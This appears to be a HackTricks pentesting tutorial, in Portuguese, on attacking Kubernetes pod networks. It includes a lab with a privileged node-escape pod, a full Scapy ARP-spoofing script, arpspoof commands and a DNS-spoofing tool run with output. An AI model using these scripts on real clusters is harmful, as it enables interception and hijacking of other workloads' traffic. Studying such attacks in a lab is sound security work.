12 KiB
Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
Introdução
No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre todos os containers que residem no mesmo node. Isso se aplica independentemente das distinções de namespace. Essa conectividade se estende até a Layer 2 (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilities. Especificamente, ela abre a possibilidade para um malicious container executar um ARP spoofing attack contra outros containers situados no mesmo node. Durante esse attack, o malicious container pode interceptar de forma enganosa ou modificar o tráfego de rede destinado a outros containers.
ARP spoofing attacks envolvem o attacker enviando falsified ARP (Address Resolution Protocol) messages pela rede local. Isso resulta na vinculação do endereço MAC do attacker com o endereço IP de um computador ou server legítimo na rede. Após a execução bem-sucedida de tal attack, o attacker pode interceptar, modificar ou até mesmo interromper dados em trânsito. O attack é executado na Layer 2 do modelo OSI, motivo pelo qual a conectividade padrão no Kubernetes nessa layer levanta preocupações de segurança.
No scenario 4 machines serão criadas:
- ubuntu-pe: Privileged machine para escapar para o node e verificar metrics (não necessário para o attack)
- ubuntu-attack: Malicious container no default namespace
- ubuntu-victim: máquina Victim no namespace kube-system
- mysql: máquina Victim no default namespace
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Rede Básica de Kubernetes
Se você quiser mais detalhes sobre os tópicos de rede introduzidos aqui, vá para as referências.
ARP
De forma geral, a rede pod-to-pod dentro do node está disponível por meio de uma bridge que conecta todos os pods. Essa bridge é chamada de “cbr0”. (Alguns network plugins vão instalar sua própria bridge.) A cbr0 também pode lidar com ARP (Address Resolution Protocol) resolution. Quando um pacote de entrada chega à cbr0, ela pode resolver o endereço MAC de destino usando ARP.
Esse fato implica que, por padrão, todo pod executando no mesmo node vai ser capaz de comunicar com qualquer outro pod no mesmo node (independentemente do namespace) no nível ethernet (layer 2).
Warning
Portanto, é possível realizar ataques de ARP Spoofing entre pods no mesmo node.
DNS
Em ambientes kubernetes, você geralmente encontrará 1 (ou mais) serviços DNS em execução geralmente no namespace kube-system:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
Nas informações anteriores você pode ver algo interessante, o IP do serviço é 10.96.0.10 mas o IP do pod que está executando o serviço é 172.17.0.2.
Se você verificar o endereço DNS dentro de qualquer pod você vai encontrar algo assim:
cat /etc/resolv.conf
nameserver 10.96.0.10
No entanto, o pod não sabe como chegar a esse endereço porque a faixa do pod neste caso é 172.17.0.10/26.
Portanto, o pod enviará as DNS requests para o endereço 10.96.0.10, que será traduzido pelo cbr0 para 172.17.0.2.
Warning
Isso significa que uma DNS request de um pod sempre vai passar pela bridge para traduzir o service IP para o endpoint IP, mesmo que o DNS server esteja na mesma subnetwork que o pod.
Sabendo disso, e sabendo que ARP attacks are possible, um pod em um node vai conseguir interceptar o traffic entre cada pod na subnetwork e a bridge e modificar as DNS responses do DNS server (DNS Spoofing).
Além disso, se o DNS server estiver no mesmo node que o attacker, o attacker pode interceptar todas as DNS request de qualquer pod no cluster (entre o DNS server e a bridge) e modificar as responses.
Note
Valide o CNI ativo e o caminho do DNS antes de assumir que isso funciona em um cluster real. Alguns CNIs roteiam ou isolam o traffic do mesmo node de forma diferente, e clusters usando NodeLocal DNSCache podem enviar consultas DNS do pod para um endereço local do node antes de encaminhar para o CoreDNS. Nesses ambientes, DNS spoofing depende do posicionamento do pod, das capacidades do packet, da configuração do resolver, do comportamento do cache local do node e de se as aplicações verificam peers com TLS ou outro mecanismo de identidade.
ARP Spoofing em pods no mesmo Node
Nosso objetivo é roubar ao menos a communication do ubuntu-victim para o mysql.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
Como já foi mencionado, se você comprometer um pod no mesmo node do pod do DNS server, você pode fazer MitM com ARPSpoofing da bridge e do pod DNS e modificar todas as respostas DNS.
Você tem uma tool e um tutorial muito bons para testar isso em https://github.com/danielsagi/kube-dnsspoof/
No nosso cenário, baixe a tool no pod do attacker e crie um arquivo chamado hosts com os domains que você quer spoof como:
cat hosts
google.com. 1.1.1.1
Execute o attack na máquina ubuntu-victim:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
Se você tentar criar seu próprio script de DNS spoofing, se você apenas modificar a resposta DNS isso não vai funcionar, porque a response vai ter um src IP do endereço IP do pod malicious e não vai ser accepted.
Você precisa gerar um novo DNS packet com o src IP do DNS para onde a vítima enviou a requisição DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do DNS server, mais sobre isso na introdução).
DNS Spoofing via coreDNS configmap
Um usuário com permissões de escrita sobre o configmap coredns no namespace kube-system pode modificar as DNS responses do cluster.
Também revise o NodeLocal DNSCache se ele estiver implantado. Ele normalmente roda como um hostNetwork DaemonSet e tem seu próprio ConfigMap, logs, cache e path de forwarding. Uma mudança no CoreDNS pode não ser o único lugar onde o comportamento do DNS pode ser afetado ou observado.
Confira mais informações sobre este attack em:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Abusing exposed kubernetes management services
Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o Kubernetes dashboard frequentemente ficam expostos para a internet ou dentro da rede kubernetes. Um attacker que consiga encontrar qualquer platform usada para gerenciar kubernetes e acessá-la pode abusar dela para obter access à API do kubernetes e executar ações como criar novos pods, modificar os existentes ou até mesmo deletá-los.
Enumerating kubernetes network policies
Obtenha as networkpolicies configuradas:
kubectl get networkpolicies --all-namespaces
Obtenha as network policies do Callico:
kubectl get globalnetworkpolicy --all-namespaces
Obtenha network policies do Cillium:
kubectl get ciliumnetworkpolicy --all-namespaces
Obtenha outros CRDs relacionados a policy instalados pelo seu network plugin ou solução de security:
kubectl get crd | grep -i policy
Capturando Tráfego
A ferramenta Mizu é um simples, porém poderoso, visualizador de traffic de API para Kubernetes que permite ver toda a comunicação de API entre microservices para ajudar você a depurar e solucionar regressions.
Ela instalará agents nos pods selecionados e coletará suas informações de traffic e as mostrará em um web server. No entanto, você precisará de permissões altas de K8s para isso (e não é muito stealthy).
References
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
{{#include ../../banners/hacktricks-training.md}}